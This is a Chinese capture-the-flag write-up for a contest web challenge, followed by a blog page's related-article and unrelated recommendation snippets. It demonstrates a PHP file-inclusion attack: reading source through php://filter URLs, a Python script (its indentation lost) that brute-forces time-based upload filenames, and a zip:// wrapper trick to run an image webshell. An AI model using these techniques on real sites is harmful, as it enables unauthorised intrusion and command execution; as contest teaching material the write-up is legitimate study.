安恒月赛 image up
http://101.71.29.5:10007/index.php?page=login
仔细观察这个url的话会发现,存在文件包含。
而且并没有login.php而是login,猜测代码是
<?php include str."php";
随便账号密码就能登陆,来到了一个上传页面,只能上传图片,回头看看题目
这里的思路明确了,文件包含加图片马。
在这时间统一的世界里,上传图片试试吧
突然发现,并不知道图片去哪里了。
用为协议读取源代码,
http://101.71.29.5:10007/index.php?page=php://filter/read=convert.base64-encode/resource=login http://101.71.29.5:10007/index.php?page=php://filter/read=convert.base64-encode/resource=upload
注意,因为包含文件的时候自动拼接.php,所以这里只写login和upload

在upload这里我们发现代码实现的功能。
分割文件名和文件后缀,然后文件名保存为MD5(当前时间+文件名)+文件后缀,上传到upload目录下边。
这个文件名其实是可以预测的,只不过我们得稍微的爆破一下他前后左右很短的一段时间,访问他是否存在来判断时间是否正确。
制作一个图片马,上传后立即运行脚本。
import time
import hashlib
import requests
def md5(str):
m=hashlib.md5()
m.update(str)
return m.hexdigest()
t=int(time.time())
for i in range(t+8*3600-20,t+8*3600+60):#时差查了八个小时
url="http://101.71.29.5:10007/"+"uploads/"+md5("sky"+str(i))+".jpg"
res=requests.get(url)
if res.status_code==200:
print(url+'')
直接包含这个图片,发现不行,因为读upload.php源码的时候会发现拼接了.php,相当于你包含了shell.jpg.php,这是一个不存在的文件。
为了绕过拼接,我们可以用phar和zip为协议。

本来最后必须要打你完整的木马的名字:name.php,但是php是自动拼接的,所以就之打name。
这样就可以让绕过.php的自动拼接了。。。
http://101.71.29.5:10043/index.php?page=zip://uploads/图片.jpg%23shell密码,然后命令执行就可以了
安恒月赛 image up的更多相关文章
- 安恒月赛WP
一月 一叶飘零大佬的WP:安恒月赛一月 二进制部分:zjgcjy大佬的WP reverse1更容易理解的一种解法 pwn1详解 二月 一叶飘零WP 二进制部分: reverse Pwn 三月 ...
- RSA共模攻击
在安恒月赛中碰到一道密码学方向的ctf题 附上源码 from flag import flag from Crypto.Util.number import * p=getPrime(1024) q= ...
- 安恒X计划12月月赛
ezweb 主要是序列化问题.没有PHP环境,在线运行的.实例化对象之后修改一下file.然后echo输出序列化的结果.不过下面有一个正则检查.数字前加一个+,影响了正则的匹配,但是对于序列化的还原没 ...
- 安恒7月赛wp
1.[order] 这道题,发现order参数处有注入点,于是就使用sqlmap盲注,emmmm,学到了sqlmap的一些小窍门. 首先,解题的语句是: sqlmap -u "htt ...
- 安恒杯2月月赛-应该不是xss
1. 打开题目一看,是个留言板 2. 查看源码发现有几个js文件 依次打开发现在main.js里存在这样一段代码 3. 访问 /#login是登录的界面,/#chgpass是修改密码的界面,其中修改密 ...
- 安恒杯11月月赛web题目-ezsql详细记录
通过此题目可以学习到 1.通过load_file+like来盲注获取文件内容 2.php魔术方法__get函数的用法 3.bypass linux命令过滤 题目中给了注册和登录的功能,没有源码泄露 ...
- 2018安恒杯11月月赛 MISC
题目放评论了 Numeric password 这次隐写没有按照套路出牌,很强. 记录一下 看来自主学习的能力很有待提高. 打开Numeric password.txt 中华文化博大精深,近日在教小外 ...
- 安恒杯月赛 babypass getshell不用英文字母和数字
BABYBYPASS 先贴代码: ①限制字符长度35个 ②不能使用英文字母和数字和 _ $ 最后提示有个getFlag()函数,从这个函数入手. 我们的第一思路是直接eval执行getFlag函数,但 ...
- 2020 安恒2月月赛 misc
题目链接:https://pan.baidu.com/s/19l54Nukt6evOr4UgbHMXIQ 提取码:1qbs 0x01 lemonEssence 咦?在kali打开是出错,改宽后图片变了 ...
随机推荐
- 完全卸载TeamViewer与重新安装TeamViewer 7(含单文件版V12主控端)
卸载teamviewer: 删除:%AppData%\Teamviewer.%tmp%\TeamViewer.C:\Users\Administrator\AppData\Local\TeamView ...
- linux 命令——18 locate (转)
locate 让使用者可以很快速的搜寻档案系统内是否有指定的档案.其方法是先建立一个包括系统内所有档案名称及路径的数据库,之后当寻找时就只需查询这个数据库,而不必实际深入档案系统之中了.在一般的 di ...
- Angular4中常用管道
通常我们需要使用管道实现对数据的格式化,Angular4中的管道和之前有了一些变化,下面说一些常用的管道. 一.大小写转换管道 uppercase将字符串转换为大写 lowercase将字符串转换为小 ...
- 【BZOJ4866】[YNOI2017] 由乃的商场之旅(莫队)
点此看题面 大致题意: 给你一个字符串,每次给你一段区间,问这段区间内有多少个字符串在重新排列后可以变成一个回文串. 关于莫队 详见这篇博客:莫队算法学习笔记(一)--普通莫队. 关于回文 要使一个字 ...
- fread, fwrite - 二进制流的输入/输出
总览 (SYNOPSIS) #include <stdio.h> size_t fread(void *ptr, size_t size, size_t nmemb, FILE *stre ...
- 10个HTML5 实战教程 提升你的综合开发能力
HTML5 作为下一代网站开发技术,无论你是一个 Web 开发人员或者想探索新的平台的游戏开发者,都值得去研究.借助尖端功能,技术和 API,HTML5 允许你创建响应性.创新性.互动性以及令人惊叹的 ...
- 将指定的form表单所有输入项转为json数据
今天学习时,看到的将form表单中的输入数据转成json 的jquery代码,直接贴出来: $.fn.serializeJson=function(){ var serializeObj={}; va ...
- oracle 多行数据合并一行数据
在工作中遇见的oracle知识,多行合并成一行,记录一下 1.取出需要的数据,代码: (SELECT to_char(m.f_meetdate, 'yyyy-MM-dd'), decode(nvl(m ...
- opengl 学习的链接,以后需要可以再来查需要的
记录一些好的opengl学习站点,以供日后查阅: modern opengl tutorial : 一个英国的opengl学习网站 上面网站的中文版 日后发现新的再更新
- Linux-准备工作
首先安装一个box,安装一个centos7,然后就是xshell,接下来就是 查看ip ifconfig ip addr vi /etc/sysconfig/network-scripts/ifcfg ...